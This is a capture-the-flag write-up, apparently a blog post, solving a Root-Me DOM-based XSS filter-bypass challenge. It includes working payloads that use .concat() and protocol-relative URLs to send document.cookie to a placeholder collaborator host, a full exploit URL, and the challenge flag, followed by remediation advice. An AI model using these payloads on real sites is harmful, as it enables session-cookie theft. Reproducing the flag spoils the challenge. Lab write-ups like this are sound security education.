November 18, 2026
XSS DOM Based — Filters Bypass | Root-Me Write-up
Author: Abdelmoneim Belal Platform: Root-Me Category: Web-Client Points: 50

By Abdelmoneim Belal
2 min read
Introduction
This challenge demonstrates a DOM-Based XSS vulnerability caused by inserting user-controlled input directly into a JavaScript string.
The goal was to bypass the application's filters, execute JavaScript, and retrieve the administrator's cookie.
1. Vulnerability Analysis
The vulnerable JavaScript code:
var number = 'USER_INPUT';var number = 'USER_INPUT';The application blocks several characters and sequences:
- ; + %
- " < >
- Explicit
http://andhttps://
However, blacklist-based filtering is not a reliable security mechanism.
We can use alternative JavaScript syntax such as -, .concat(), and protocol-relative URLs to bypass these restrictions.
2. Confirming XSS
First, I tested the following payload:
'-alert(1)-''-alert(1)-'The payload successfully escaped the original string and executed JavaScript.
3. Cookie Exfiltration
Since the + operator was blocked, I used .concat() to construct the external URL.
'-(document.location.href='//YOUR-COLLABORATOR-DOMAIN/?c='.concat(document.cookie))-'-(document.location.href='//YOUR-COLLABORATOR-DOMAIN/?c='.concat(document.cookie))-The browser navigates to the external endpoint and includes accessible cookies in the request.
4. Admin Exploitation
After confirming the payload worked in my browser, I submitted the same crafted URL through the challenge's Contact form.
Payload sent to the administrator:
'-(document.location.href='//YOUR-COLLABORATOR-DOMAIN/?c='.concat(document.cookie))-'-(document.location.href='//YOUR-COLLABORATOR-DOMAIN/?c='.concat(document.cookie))-Full Exploit URL:
http://challenge01.root-me.org/web-client/ch33/?number=%27-(document.location.href=%27//YOUR-COLLABORATOR-DOMAIN/?c=%27.concat(document.cookie))-%27http://challenge01.root-me.org/web-client/ch33/?number=%27-(document.location.href=%27//YOUR-COLLABORATOR-DOMAIN/?c=%27.concat(document.cookie))-%27The administrator's browser visited the URL and executed the injected JavaScript, sending the accessible cookie to my external endpoint.
5. Capturing the Flag
The external endpoint received a request containing the administrator's cookie.
Flag:
rootme{FilTERS_ByPass_DOm_BASEd_XSS}rootme{FilTERS_ByPass_DOm_BASEd_XSS}
6. Key Takeaways
- Blacklist-based filtering can be bypassed using alternative JavaScript syntax.
- DOM XSS occurs when untrusted data reaches an unsafe execution context.
.concat()can replace string concatenation using +.- Protocol-relative URLs can bypass simplistic protocol filters.
HttpOnlycookies cannot be accessed throughdocument.cookie.
Remediation
- Avoid inserting untrusted input into JavaScript strings.
- Use safe DOM APIs such as
textContent. - Apply context-aware output encoding.
- Implement a strict Content Security Policy (CSP).
- Protect session cookies using
HttpOnly,Secure, andSameSite.
Conclusion
This challenge demonstrates why blacklist-based filtering is insufficient to prevent XSS.
Understanding JavaScript syntax and the browser's execution context is essential when discovering and analyzing filter bypass vulnerabilities.
Author: Abdelmoneim Belal
Web Application Security | Penetration Testing | Bug Bounty
Medium Tags: Cybersecurity · XSS · Web Security · Bug Bounty · Penetration Testing